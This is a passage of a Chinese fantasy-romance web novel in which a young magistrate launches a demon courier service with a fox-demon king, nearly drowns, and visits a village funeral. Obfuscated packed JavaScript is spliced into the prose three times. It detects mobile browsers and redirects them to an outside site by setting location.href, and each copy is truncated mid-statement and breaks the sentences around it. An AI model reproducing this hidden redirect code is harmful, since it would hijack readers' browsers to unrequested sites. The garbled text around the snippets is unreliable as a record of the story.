“那是因为你们妖有的是时间。人生只有三万天,三分之一用来睡觉吃饭维持身体机能,三分之一被世俗烂事推着向前或退后。运气好的,才能剩下三分之一做自己喜欢的事情。” “时间太短了,不与天争,不与地斗,不与自己拼,枉活数十载。” “哪怕争得头破血流?”萧蘅问。 “哪怕争得头破血流。”她回答。坚定如松,声不大,却震耳欲聋。 “傻子。呆子。” 萧蘅忽笑道:“你都敢让我们妖怪送快递。还有什么不敢的。” 李昭宁闻言微叹。 其实有时候,她也徘徊过,迷茫过。在现世,她只是一个小小的透明人,千军万马中的一小卒。上无嘉奖,下无过错,也是一个平庸的中间人。她好读书,读史书,却只能无力地看着浪花淘尽,繁花落尽,看天下英雄如过江之鲫转瞬被历史的洪流淹没。她也常常幻想,如果自己是乱世中的一位官员,她应该怎么去做? 现在,她有了这个机会。所有的疑惑与踌躇在这一刻皆化成了为生民立命的决心。 纵大势已去,有民心所向即可。 有人的爱人是人,有的是妖。而她,是所有,是天下苍生。 她仰天一笑,掷地有声:“人长在天地间,头顶天,脚踏着地,生来就是顶天立地,自然有胆量,有气魄去抗争一番。” 萧蘅按住扇柄,不知所言。 “如果妖界速递不止能通东西南北,也能通阴阳两地就好了。这样,我们就能向远方的故人道一句早晚安了。” 她轻轻一感慨,伸出左手,慢慢掠过紫藤花花栏的花面。 不知是不是错觉,这一说长不长,说短不短的走廊,她感觉和萧蘅走了格外久。 半晌,他问:“只是早晚安?” “是。” 她眸光未动,缓道:“因为爱如洪水,太满会决堤。一旦决堤,轻则两败俱伤,重则同归于尽。少一点,留一点喘息的机会,对谁都好。” “简简单单问个好就好。” “你还是那个呆子吗,这不像你能说出的话。” 萧蘅淡淡一哂,再道:“蓁蓁姑娘表面上咋咋呼呼,没承想竟是感情上的胆小鬼。” 他原以为她会闹上一闹,没承想她神色未变,直直地回答:“俗话说得好:月盈则亏,水满则溢。留爱三分,恰如成汤网开三面,不围绝,不赶尽,予天地生灵各自喘息的空间。” 她又叽里呱啦讲了一堆,萧蘅不屑去听,反正大差不离她身为蓟州州牧理应怎么去做…… 萧蘅:?他们方才是谈论这个话题的吗? 果然人类总喜欢高谈阔论。 在他滞语时,李昭宁忽收手,握拳击右手的掌心,再道:“坏了。光忙妖界速递一事了,我得去书房翻翻资料,看看现在税务情况……” 萧蘅没忍住翻个白眼:“我看你还是去歇歇吧?可别事情一点没干,自己先倒了。” 说罢,他握住扇柄,敲了敲她的脑袋,还不忘补了一句“呆子。” 李昭宁一宿没睡,自然是有些疲惫,但奈何身担重任不舍得放下时间。 拐弯时,她腿本就比萧蘅短,此刻还走在外围,便落下他一两步的距离。 她看了眼他身长八尺,挺拔如青松的背影,暗自感慨的同时她两手相扣,绕过头顶,梗在脖子后,用力伸了个懒腰,缓解疲劳。 恰恰此时,她忽然想起昨晚他冲到幻兽面前救她的画面。那时,萧蘅也是这样背对着她。或许这一阵有些放松,曾被她压在心底的疑问也浮上水面:萧蘅为什么要救她?每次时机都非常巧妙。 难道真如他所说,她是他的心爱之人、命定之人所以要拼命守护? 大脑如风暴,一阵又一阵风乱刮,搞得她有些晕头转向。 她盯着他的背影,掌心向上,试探道:“你把狐狸尾巴给我摸摸呗。” 萧蘅一怔,僵硬地转过脑袋:? 她再道:“哦对,你为什么是七条尾巴,不都是九尾狐吗?” “你怎么知道?” “我看见了呀。” 她一边比画,一边补充:“你和幻兽打架的时候,我看见了。” 萧蘅垂眸,眼中神色微动,却一言不发。 她双手锁在身后,上前一步探头,笑吟吟道:“所以,能给我摸摸吗?我就摸一会儿,充会电。” 他别开脑袋,拉开和她的距离:“没门。有本事自己长尾巴。” “啊——你不是说狐妖第一吻给心爱之人吗?我不是你的爱人吗?你就这样对我?”她瞬间耷拉脑袋,又不甘心,抬起脑袋看他: “再说,你都亲我了。还不能给我摸尾巴?” 萧蘅:… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193954|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 这丫头能不能有点脸,她不害臊他还…… 什么心爱之人!那是避免她生疑的措辞!亲也是因为系统这个不知是人是鬼的东西操控他所为。他瞥了眼李昭宁,见人一脸期待,没办法。心中忽觉此时是个积攒恋值的好机会,然后抵消虐值,他再行报复。 可……他无声叹息,不情愿露出一条尾巴:“仅此一次。” 李昭宁瞬间两眼发光,一把抱住毛茸茸的狐尾,脸颊使劲蹭了蹭,乐得蹦脚,全然忘了试探之意:“好软,好想mua一口啊。” 一身疲惫忽然就散了。怪不得那么多上班族回家第一件事,就是抱一抱猫猫狗狗呢! “你就不拿把剩下的六条尾巴露出来吗?”她略有不满,轻轻掐了掐他的尾巴。 萧蘅被她的动作吓一个激灵,连连后退:“别掐!不许摸尾巴根!” “你能不能有点分寸!” 她道:“那给你亲回来?” …… “李昭宁!” 萧蘅的喊声响彻整座府邸,刚出客房的大虞和赶来送资料的小虞懵懵相视,皆问道发生了何事。 玄武正爬树摘果子,一听萧蘅的喊声脸色骤变,扬爪就朝树梢的浮雀喊:“不好!大王有难——” “什么?!”浮雀一惊,爪子一松,还在够果子的阿蛟直直掉下来,“咚”地砸在玄武头上。两妖晕晕乎乎,在枝干间弹了几下,终于往下坠。浮雀急着去接,结果三妖缠作一团,结结实实摔在地上。 诸葛兰旌静静立在窗边,刚巧看到了这一幕,嘴角噙着一丝若有若无的笑意,眼睛却淡如水。 有几位侍女听见喊声,纷纷好奇地探头来望。萧蘅只觉丢了妖脸,大步流星往回内室赶:“我真是从没见过你这么厚颜无耻之人。” “我就开个玩笑嘛。” 她左手撩起袍裾,哒哒哒跑下台阶,刚要往前,背后忽然一股力道推来,速度快如离弦,眼前殿门自开,整个人被狠狠扔进床榻,连鞋也来不及脱。被子紧接着落下,将她严严实实裹住。 她在被子里挣了挣,闷声喊:“臭狐狸!谁知道你活了几千年,还这么不经逗……” “快放我出去!我还要见诸葛军师呢!” 萧蘅将门关上,抱臂后靠,仰头冲房间里喊:“还不快歇息?想早日入土吗?” 又道:“你以后对我好点行吗?我只是杻阳山一个可怜的小妖怪,见过什么世面。” 萧蘅又拿出杀手锏装乖,话音刚落,与刚赶来救援的三小只面面相觑。 三小只大眼瞪小眼。 玄武将阿蛟推前面:“你上。” 阿蛟:“谁在最后谁上前探情况。”玄武闻言马上上前一步,两只小妖只留浮雀一妖在后面。 浮雀犹抱翅膀半遮面:“我鸟都不鸟你们。” 萧蘅长长叹了一口气,浑身透着一股无力感。 话音未落,身后的门忽地打开。他猝不及防向后仰倒,一屁股摔在地上。 李昭宁倒挂着探出脑袋,正正落进他视野里:“好狐狐,天气预报别忘了哦。明日太阳出来之前,务必报给各县。” “我去见完军师就歇息。” 走之前,她不忘回句:“狐狐真好。竟然这么关心我。” 三小只见状,马上开溜,屁颠屁颠跟上李昭宁的步伐。 萧蘅这下彻底无语,横臂挡住脸。 但这时,系统的声音响起来了。 【叮!系统提示:今日积攒恋值250,创新纪录,请继续保持!】 萧蘅:??? 就不能换个好听点的数值吗 8. 妖界速递启动 三日后,“妖界速递”的牌匾在蓟州城东一座阁楼的一楼正式挂起。 楼外人头攒动,议论纷纷。 一位白发老翁眯眼端详:“这楼不是先皇赐给诸葛先生的吗?怎么拿来做这……妖怪递送?” 旁侧头戴布巾的中年汉子接话道:“我听工匠说,二楼还要挂一块‘妖怪教化学院’的匾,正在做呢。” 人群中照例传出三种声音,有赞同叫好的,有观望中立的,也不乏劈头就骂的: “要我说,新来的女州牧肯定是妖怪变的!官袍还没焐热就忙活妖怪的事,过不了几天,咱蓟州城怕是得改叫妖怪窝!” “你可别胡说,昨天晌午官府的告示没看吗?李大人减了近一半的土地税,够你舒坦好几年了,这比前几任不知强多少!” “障眼法你不懂吗?你们都叫那女狐狸精给糊弄了,这里面绝对有诈!” 正吵嚷着,阁楼内走出两人,在榜帖旁又贴了一张新告示: 【妖界速递,高效送达。只有你想不到,没有我们送不到。路远、价高、运输难?距离从来不是问题!欢迎大家永远下单!】 【首单示例:诸葛兰旌——书信一日内送至三百三十里外兖州南阳。】 百姓顿时交头接耳:“诸葛先生竟真出山了!还第一个用这妖界速递,看谁还敢说州牧是妖怪!” 也有人将信将疑:“一日送到,怕是跑死八匹马也难!” “快看,下面还画了妖怪的模样……呀,一只青鸟、一条红鱼、一头黑熊,怪可爱的。” “连诸葛军师都用了,那我也试试!我儿子在东境驻军,寄封信得走半个月,有了这妖界速递,岂不是几天就到?” 这时又有人喊:“这么好的事,价钱肯定不便宜吧?” 大门忽地打开,李昭宁走了出来。 她今日未着官服,一身朱红便装,长发高高束成马尾,随风轻扬,意气风发。 稍后她便要与浮雀同去兖州南阳,亲自送着第一订单。 过去这三日,她全心扑在“妖界速递”上。三小只也出力不少,各种帮忙跑腿送文件。这期间阿蛟还闹了个笑话,它是个急性子,去给县丞送告令时是从县府衙门里静水池钻出来的,当时县丞刚到,冷不丁被吓晕,一头栽进了水池里。 阿蛟化成人鱼状把他捞上来,哪知县丞醒来看清它模样那一刻又晕了过去。阿蛟见有人往这边赶,便用尾巴沾水在地上写了歪歪扭扭的三个大字: “不用谢。人。妖应该做的。” 然后潇洒离去。 咳。言归正传。诸葛兰旌不仅为她引来关注,还亲手为几只小妖绘制肖像。她去送信时,州中事务也暂由他监理。 她当时说:“南阳之路,浮雀可往。我陪它同去,亲自走这一趟。” “有劳军师暂理州务了。” 诸葛兰旌却微微一笑:“是在下之幸。况且我相信,李大人很快便会归来,完成这‘妖界速递’的第一趟示范。” 大虞与小虞也纷纷表示会协助诸葛军师,阿蛟和玄武虽对首单选用浮雀颇有微词,却还是闷声应下,转头帮忙清点其他积攒的政务文件去了。 唯有一人,始终什么也不做。 他不是外人,甚至不是人——正是狐妖萧蘅。 今日明明是阴天,他非报成“大晴天”。李昭宁得知后将他训了一顿,他还不以为意:“太阳不就在天上吗?” 亏她还鼓励百姓多种灵树灵草! 萧蘅只敷衍道:“好好好,下次我一定分清你们人间的词。” 李昭宁既怕他闲着生事,又怕他再和诸葛兰旌起冲突,便问:“萧蘅,你去吗?” “这种累死妖的活儿谁爱干?” 浮雀等妖在一旁啪啪打脸,争先恐后举手:“我去我去!原谅我们吧,实在不想上课了!啾!” …… 萧蘅突然捂住肚子:“我不去……哎哟,人间气息不如杻阳山清新,我有点头晕……” 李昭宁瞥他一眼,知道他好吃懒做,心想月底一定狠狠扣除他的俸禄,无奈道:“行,那你好好预测天气。” “再有下次,我把你的肖像画贴去杻阳山,让其他小妖怪笑话你。” 萧蘅:…… 回忆至此。 李昭宁与大伙对过眼神,朗声回复他们的疑问:“咱们是为人民服务,不收费!只不过小妖是要补充能量的,大家闲暇之余可以种种灵草和灵树,一来滋润空气,二来赏心悦目,三来犒劳小妖。” “啾——” 她话音刚落,浮雀在众目睽睽之下,化作一只玄青鸟。它并无猎鹰那般凛冽的压迫感,反而眉目清秀,羽翼流转着淡淡的光泽,确是一只漂亮伶俐的小妖。 人群中响起窸窸窣窣的议论,有人害怕,有人惊奇,也有人跃跃欲试。终于,几个胆大的伸出手,轻轻触摸玄青鸟那身流光润泽的青羽。 “因为这是第一站,我亲自跟来探探风。”李昭宁声音清亮,“往后大家若是担心,信不过小妖,我们也会根据订单多少,设立专门的快递队伍。届时人与妖协作配送,既快又稳。总之,一定尽力满足大家对更好日子的期盼!” 对蓟州人而言,他们早已习惯了自己是被遗忘的一群。像从中州大河延伸出来的一潭远水,湖里只有彼此,年年日日循环往复,过着看天吃饭、自给自足的日子。所谓自给自足,前提还得是风调雨顺。 后来朝廷终于派了官来,他们也曾大喜过望,以为曙光将至。却不料,那些官多半是冲着浮玉山的矿来的——加赋税、刮民膏,一轮轮捞足了油水。再后来,因诸葛兰旌救驾之功,朝廷终于重视起这边陲蓟州,每月下拨济民的粮款,可惜经官员层层克扣,到百姓手中时早已所剩无几。 他们没处告,告了也无用。 然而,就在希望近乎枯竭的时候,李昭宁来了。 谁也打听不出她的来历。只知道她不过二十四五岁,模样姣好,很难不让人怀疑是哪个贪官生得矜贵千金,来此继续搜刮。可没想到,上任短短五天,她废苛捐、减杂税,减轻了浮玉山劳工的徭役时长,还将数位贪官的罪状一一整理呈送,落井下石。 她敢夜闯杻阳山,如今又创办这“妖界速递”,想借此拉近蓟州三郡的往来贸易,渐渐化解了人与妖之间经年的隔阂。 最重要的是,这些事不是官府的告示写出来的邀功的,是百姓一口一口传开的。 这位姑娘,是做实事的人。 她是天上的神仙。不。比神仙还来得及时。 李昭宁轻轻跃上浮雀背脊,青羽展开的刹那,人群传来一阵低呼。她回头向阁楼下挥了挥手,朗声道: “妖界速递,今日启程。各位,静候佳音!” “州牧大人!注意安全!”人群纷纷响应。 萧蘅站在阁楼门后,静静审视着一切,他轻轻扇着雪绸白玉扇,当听到人群中的争执声,嘴角不忍噙着藐视的弧度,脸色哪有半分生病的模样。 他其实不是生病,也不是懒,只是不想去做这些无用事而已。三小妖爱凑热闹就去,他不拦着。还有一点,他是想试一试这个虐恋偿还机制是否与距离远近有关。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193955|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当然,他也可以趁这个机会回一趟杻阳山,查清李昭宁究竟如何穿过了结界。 这几日都被那该死的系统,虐恋偿还机制搞得一团乱。偏偏李昭宁这个傻丫头一根筋的脑子满是政务,忙不过来就把杂活丢给他,烦得很。 他哼笑一声,收扇离开。 最好是李昭宁一去不复返,虐恋偿还机制不攻自破。 当然,更好的便是他顺理成章、不费吹灰之力占地为王,扩充杻阳山。 妙哉妙哉。 如此一来,他只是来了人间光明正大玩一遭,不仅不愁吃不愁住,最后还能捞得一堆好处。 幸甚至哉。 。 “军师还是小瞧我们了,就三百三十里,不用半个时辰就能到。” 李昭宁将信交到诸葛好友手中,便与浮雀折返蓟州。其实往返连半个时辰都用不上,只是她初至兖州,寻人时绕了些路。多亏临行前,诸葛军师让浮雀闻过他友人之物的气息,浮雀展翼掠空,不一会儿便锁定了方位。 浮雀的羽毛蓬松温软,躺在上面像陷进一张云端的大床,既无风噪,也不颠簸。她才阖眼小憩片刻,目的地就到了。 返程心松,李昭宁胆子也大了些,轻拍浮雀颈羽:“浮雀飞低些,我观赏观赏咱们蓟州大好风光。” 观赏之际,她忽见一处村落人头攒动,村民手持棍棒铁器,正向某处汇集。 难道是贼人作乱? “浮雀,在那边的草垛后降落,我去看看。”她双手撑住浮雀颈背间的羽毛,身子微弓,蓄势欲跃,“敢在我的地界欺扰百姓,简直是关公面前耍大刀。” 落地时顺草垛滑下,如滑梯一般轻快。李昭宁朝人群方向扬声喊道:“贼人在何处?” “抓住她!妖女!”只见带头的村民凶神恶煞,朝后呐喊。 哎? 怎么好像是冲她来的? “真是天赐我也,我胡老汉终于逮着机会为我大孙子报仇了!兄弟们!跟我上啊!抓妖女!” “打妖女!” 一时间,呐喊声震天动地。 她最开始是本能地跑起来拉开距离,可当听到胡老汉一称呼瞬间醒悟,他的孙子疑似被妖怪拐走,所以他们一整家,乃至整个村落都非常痛恨妖怪。 她提速,冲他们解释:“等等——大哥们,我们只是路过!我是州牧,蓟州州牧李昭宁!” “管你什么土木金木火木,兄弟们,往死里打!” 浮雀被村民们的架势吓得缩回小鸟模样,扑腾着翅膀逃,却还没李昭宁跑得快。她只得折返,一把将它像拎小鸡般捞进怀里,继续狂奔。 系统系统救命啊! 系统你怎么又不在? 系统你去哪儿了! 一记闷棍扫来,她闪身躲过,却失了重心,与浮雀一同滚下坡,又滚进小河里。一点也不拖泥带水。 浮雀的羽毛顷刻湿透,它费力地扑棱翅膀,可再也飞不起来。 “啾——” 浮雀刚准备用妖识通知玄武等小妖,可被一股猛力扔上了岸。 它回头望去。 是李昭宁用尽全力将它托上岸,可她自己却力气耗尽,向河心沉去。 浮雀的惊鸣撕裂天空。 李昭宁听到了,也想求救,但是发不出任何声音。 只有无声地下坠,与漫上来的河水,吞没所有光影与声响。 意识弥留之际,她听到了“扑通”一声。声音很大。 然后,她感觉有什么东西,碰上了她的嘴唇。 …… 9. 爱是解药也是凶器(一) 【叮!系统提示:截至目前虐值9999999999+恋值250……恋值偿还度远不达标,强制触发虐恋偿还机制……】 知觉缓缓归拢,最先感受到的,是一个紧得发痛的怀抱。 李昭宁费力地掀开眼帘。 萧蘅的脸近在咫尺。他闭着眼,一手用力箍着她的腰往上带,另一只手不似平常,温柔地托着她的脸…… 唇上传来温热柔软的触感。 她倏然睁大了双眼,几乎忘了自己正身处水中。 他在……亲她?! 反应过来的一瞬,她猛地将他推开。 萧蘅眼神一凛,紧紧攥住她的手腕,不容挣脱地带着她一同破水而出。 “呼——” “啾!” “啪!” 刚在岸边急得跳脚的浮雀骤然僵住,眼睁睁看着李昭宁抬手,结结实实地扇了萧蘅一记耳光。 萧蘅偏着头,舌尖抵了抵发烫的腮边,冷冷地哼出一声。 “李昭宁,我在救你。” 李昭宁这才彻底回神。她方才一时脑热,只记得被占了便宜,完全忘了自己正险象环生。她原本是不怕的,毕竟有系统在身,总归是会兜底救她的,却没想到来的会是萧蘅:“……抱歉。” 她低头,发现自己毫发无伤,只有衣服被水浸湿。她明明一路滚下来的,怎么一点伤势没有?这种情况不止一次了,先前在杻阳山也是如此。 她凑近些,查看萧蘅身上有无伤势,语气里带着自己都没察觉的迟疑:“你……没事吧?你怎么会突然过来?” 她的靠近让萧蘅心头那团无名火又窜了起来。 “先上岸。” 待两人湿漉漉地踏上河岸,李昭宁的问题接踵而至:“为什么我一遇险你就会出现?而且你的神情总不对劲……是受伤了?在忍着什么?” “烦死了。”萧蘅下意识抬手,想捂住她那喋喋不休的嘴。可掌心触及那抹微凉柔软的瞬间,他整个人顿住了。 指尖传来的触感鲜明,而手指上方,是李昭宁愣愣睁大的、带着水汽的眼睛。 他像被烫到般猛地收回手,转而抵住自己的额角,侧过脸去不再看她。 就在不久前,他刚回杻阳山巡视结界,体内却毫无征兆地涌起一阵燥热。眨眼之间,又被那该死的“系统”操控,被扔到了这陌生的河畔。当适时,看见村民们持棍追赶、李昭宁沉入水中的那一刻,他心底第一个念头并非救人,而是想隔岸观火,坐收渔翁之利…… 可随即心脏便传来钝痛,身体不受控制地扎进河里。 等他回过神来,已浸在冰冷的河水里,将她紧紧捞起。见她意识涣散,一阵没来由的心慌攫住了他,几乎想也没想,便俯身渡了口气过去。 那一瞬间,心跳如擂鼓。他分不清,这失控的悸动究竟源于系统的强制,还是源于他与她的接触…… “他们在那边!抓住他们!” “就是他们!人害妖怪!”浮雀尖声叫道。 萧蘅蓦地站起身,河水顺着他发丝滑落。他正满腔邪火无处发泄,眼中幽光闪烁,雪绸白玉扇已在掌心展开,而扇中正聚集一团团白风…… “等等。”李昭宁拉住他的手腕。 “我们约好的,不许攻击人类。” “傻姑娘,”萧蘅回头,眼底寒意未消,“他们刚才要杀你。” “若非我赶到,你已经死了。” “不许就是不许……” 萧蘅甩开她的手,雪绸白玉扇中一道冷光与阵阵白风倏然旋出,直袭向追来的村民! “受死!” 【叮!系统提示:特殊条件满足,强制执行虐恋偿还……】 系统的机械音再次突兀响起。萧蘅攻势骤停,一股无可抗拒的力量将他猛地拽回李昭宁身边。他这才看见,她竟跪在河岸边,将整张脸埋进了冰冷的河水里。 “李昭宁你疯了?!” 李昭宁抬起头,湿发贴在苍白的脸颊上,眼底却闪着得逞、狡黠的亮光:“果然。虽然不知缘由,但我一旦遇险,你便会不远万里赶来。” 萧蘅沉默。麻烦了,这下真成了拿捏不住的把柄。 “我没疯,”李昭宁的目光掠过远处逐渐逼近的村民。他们大多披着粗糙的麻衣,地上散落着凌乱的纸钱。 这分明是一场葬礼。 “啾!”身后传来浮雀短促的惊叫。李昭宁回头,只见一个披着过分宽大的白色麻衣的小女孩,手里还捏着一根弯曲的木根,正睁着一双大得惊人的眼睛,一眨不眨地盯着浮雀。 果真是在奔丧。 “小姑娘……” 萧蘅眸色一沉,欲上前将她打晕以免惊动众人,却被李昭宁牢牢拦住。 女孩约莫七八岁,眼神却有种与年龄不符的沉寂。她声音很轻,没什么起伏:“你们是妖怪吗?” “我不是。”李昭宁话音刚落,村民的呼喝声已近在咫尺。 “抱歉,我们得走了。” “等等。”小女孩忽然上前,冰凉的小手一把攥住李昭宁的手腕,另一只手则极快地抱起浮雀,“你们来见见我奶奶,好不好?” 她的力气大得惊人。 “奶奶等你们……很久了。” 李昭宁一怔。 小女孩已不由分说,拉着她们钻进田边高高的玉米秸秆堆。她熟练地扒开一个隐蔽的缺口,将李昭宁和浮雀推了进去。萧蘅面色不豫,也被她一把拽入。 里面竟别有洞天,空间足以容人,甚至还摆着一张破旧的小木凳,只是弥漫着一股植物腐烂的潮湿气味。小女孩挤进来,竖起手指抵在唇边:“这是我的秘密基地。” 李昭宁透过秸秆的缝隙,看着村民们呼喊着跑近,又在周围徘徊搜寻,最终骂骂咧咧地远去。直到脚步声彻底消失,她才长长舒出一口气,紧绷的肩膀松懈下来。 “小姑娘,你叫什么名字?找我们有什么事吗?” “我叫招娣。” 这个名字说出口的瞬间,李昭宁感到心头像是被什么东西轻轻刺了一下,某种沉重而无奈的情绪弥漫开来,让她忽然有些提不起力气。 萧蘅瞥见她瞬间低垂下去的侧脸,不解其意。名叫招娣的小女孩却已自顾自地抱膝蹲下,捡起一根枯树枝,在地上无意识地划拉着。 秋日的风穿过秸秆缝隙吹进来,带着凉意,莫名让人鼻尖发酸。 太潮湿了,很不舒服。 “你刚才说,你奶奶在等我们?”李昭宁重新整理心绪,温声问道。 “嗯。”招娣抬起头,目光落在浮雀身上,“小小妖,你能不能施个法术,让大家都看不见我们?我带你们去见奶奶。” 浮雀歪了歪脑袋,有些困惑。 “灵堂里人太多了,他们不让我进去,你们肯定也不行。”招娣的语气很平静,两只手配合地比划着巫师祭祀祈福的手势:“所以,你施个法术,好不好?” 李昭宁用手肘轻轻碰了碰身旁的萧蘅。 萧蘅闷哼一声,捂着胳膊与她拉开距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193956|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸色更臭了。他堂堂妖王,竟然沦落到陪小孩子玩过家家,简直奇辱大耻。 他暗自磨牙,谁让这爱管闲事的傻姑娘现在是他的“债主”。 “我真是欠你们的。” 他抬手,指尖泛起极淡的微光,一个简单的障眼法笼罩了几人。 “走吧,你带路。” 走出秸秆堆前,李昭宁忽然轻声问:“你喜欢你的名字吗?” 招娣脚步顿了顿,没有回头:“不喜欢。” “这名字是爷爷给我起的。奶奶想给我改成芝兰,爷爷不许。” 萧蘅道:“有什么区别吗?” 小女孩终于回过头,沉寂的眼睛里映出一点细微的光亮:“奶奶说,芝兰生于深林,不以无人而不芳。” “那我们叫你芝兰,可以吗?”李昭宁试探着问,“你爷爷……是胡老汉,对吗?” 芝兰点了两次头。 “你的兄弟……是被妖怪抓走了吗?” “不是妖怪。”芝兰的声音很轻,却异常清晰,一字一字落下: “是奶奶。” 李昭宁与萧蘅对视一眼,均在对方眼中看到了惊愕。 “你的奶奶?” 芝兰点头,轻声重复:“是奶奶。因为爷爷他说阿弟得死。” 芝兰仰着小脑袋看天,又道:“那天晚上奶奶抱着我哭了一晚上,终究还是下不去手。所以,她去找了村里子之前的老巫师,给阿弟施了个法术,把阿弟送去北山了。” 北山,就是杻阳山。 萧蘅对此话嗤之以鼻,他听说过“人类小孩七八岁,狗都不愿理”的俗语,想必这小孩一定是话本子看多了,故弄玄虚。 若在杻阳山,他怎会不知晓? 李昭宁接话道:“为什么你爷爷说你阿弟得死?” “阿弟生下来那晚,我们家屋顶飞来了一群乌鸦。任凭别人怎么驱赶,它们就是不走。村子里的老人都说这是不祥之兆,便花重金请来了一位德高望重的算命老先生。老先生说,阿弟八字和爷爷发冲,且未来会是整个村子,乃至蓟州城的祸害。” “爷爷发怒了,觉得老先生在诓骗他。可没过几天,村子里异象频出,一向健康的爷爷也病倒了。于是,爷爷便让奶奶解决掉阿弟。” “为什么是你奶奶?” “因为奶奶杀鸡时刀从不留血。” 芝兰说这句话的时候,语气很平静。萧蘅和李昭宁脸色皆变,浮雀更是惊得用翅膀抱头,将毛茸茸小脑袋埋在李昭宁怀里。 “你奶奶下不去手,但又苦于不能违抗。所以,把你弟弟放了……” 芝兰点头。 萧蘅淡淡回了一句:“我就说,不是我们妖怪干的。”但是,说这句话的时候并没有先前的张扬,按之前来说,他肯定会跳起来,指着李昭宁等人的鼻子大骂,非解一番气不可。 浮雀张着双翅,愤愤不平:“啾!死老头!分明是自己胆小如鼠,贪生怕死!把黑锅与脏水甩在我们和老太太身上。啾!简直不可理喻!” 它却又呆愣愣道:“啾。我刚学的成语没用错吧?” 李昭宁and萧蘅:....... 芝兰却笑了,伸手去接李昭宁怀里的浮雀: “奶奶生前算了一卦,说会有贵人来帮我。我想,应该是你们。” “她说,等贵人出现,一定要让我带你们去见她。” 她一双闪着微光的眼睛扫向李昭宁和萧蘅,似乎刚想起来征求他们的意见:“可以吗?” 10. 爱是解药也是凶器(二) “当然可以。” 李昭宁爽快答应,拉着芝兰手向前走。 萧蘅无奈跟上,却忽然嗅到一股淡淡的妖气。不属于他和浮雀的妖气。 灵堂设于正堂,白幔低垂,正中央摆放着一张掉漆的长桌,长桌上设有灵位,有香烛,有供品饭一碗,菜几碟。 堂中人不多,或跪或立,皆掩袖拭泪。 李昭宁看着火苗一截截吞噬香杆,香断烟升,桌上一牌一炉霎时被袅袅白烟所浸,让人感觉很浮,很不真实。 她顺着芝兰手指的方向,看到了她的爷爷,老爷子倚在长桌一侧,不断往火盆里递纸钱,哭得鼻青脸肿,比谁都惨。 周围人或多或少被老爷子凄厉的哭声动容,纷纷劝道节哀顺变,别因送行而伤了自己的身体,更有甚者说,奶奶在天上看着老爷子哭得上气不接下气,定是要心疼的。 芝兰神色未变,小声开口:“我觉得,要不是爷爷逼奶奶那样做……奶奶不会留有心疾,气终郁死。” 李昭宁应声,忽而注意到地上只剩下她和芝兰一大一小的影子。萧蘅和浮雀去哪里了? 抬头望去,只见萧蘅和浮雀各在老爷子左右,变着法整他。浮雀用喙狠劲地啄老爷子的头,老爷子不明所以,只觉脑袋偏疼得厉害,哭声改成了唉呦哎哟的呻吟;萧蘅则拿扇子敲打,顺带吹灭老爷子手里的香。 老爷子一点香他就给扇灭。 老爷子顿时哭不出来了,瞪着眼睛望着灵位。周围人也是一头雾水,害怕又好奇地看着这种种奇象。 她撸起袖子上前,道:“你们两个!” 萧蘅闻声抬头,本以为李昭宁又要摆出州牧的架子开始言语教育,下意识撇嘴,翻个白眼。哪知李昭宁一来便一脚踹在老爷子屁股上。 “这种好事不知道叫我?” 老爷子即刻吃疼弹起:“谁踢我?” 周围人皆讶异,面面相觑,根本没有人起身。 有人迟疑道:“莫非是老夫人显灵,有话要嘱托?” 此话一出,底下人开始私语,盯着灵位,默默哀悼。老爷子浑浊但透着精明的眼珠子转来转去,确保附近没人藏着,这才跪在草垫上,继续号啕大哭,嘴里吐着:老婆子你受了什么委屈你尽管告诉我,我替你做主……之类虚情假意的话。 萧蘅闻言嗤了一声,抱臂,雪绸白玉扇倒垂,轻轻敲着空气,道:“你不一口一口爱民,怎还上脚了?” 李昭宁挂上微笑,咬着后槽牙道:“当然爱。打是亲骂是爱。这个糟老头子……不待见我们芝兰非要孙子,有了孙子还怕冲到自己,完了又威胁芝兰奶奶,让芝兰奶奶承受不该承受的因果。可耻可耻。还大言不惭出去欺骗,挑起人与妖无端的恶意。更可气的是还在这假惺惺作态。” 说罢,她点点脚尖,蓄意再踢:“我今日势必要让他在奶奶灵前磕头认罪。” 萧蘅挑眉,还刻意给李昭宁助威,毕竟有热闹不看白不看。 “姐姐,”芝兰出言阻止,绕过跪坐的家属走到二人身前,拽了拽李昭宁的衣角,指向角落的一边,“你们先跟我去见奶奶吧。” 李昭宁收势,顺着转身:“行。正事要紧。” 萧蘅想到方才感知的妖气,先于她们二人上前。李昭宁落在后面,双手搭在芝兰瘦弱的肩头,她也隐隐感知到气氛不对劲。 推开门,进入后院,只见院中有一棵梨树,树坛的角落种着几株灵草。 还有一株花苞。浮雀说,是昙花。应该开过一次花了。 她率先注意到灵草,低头问道:“芝兰,你家怎么种灵草?你爷爷让种吗?” 芝兰道:他年纪大,眼睛花。” 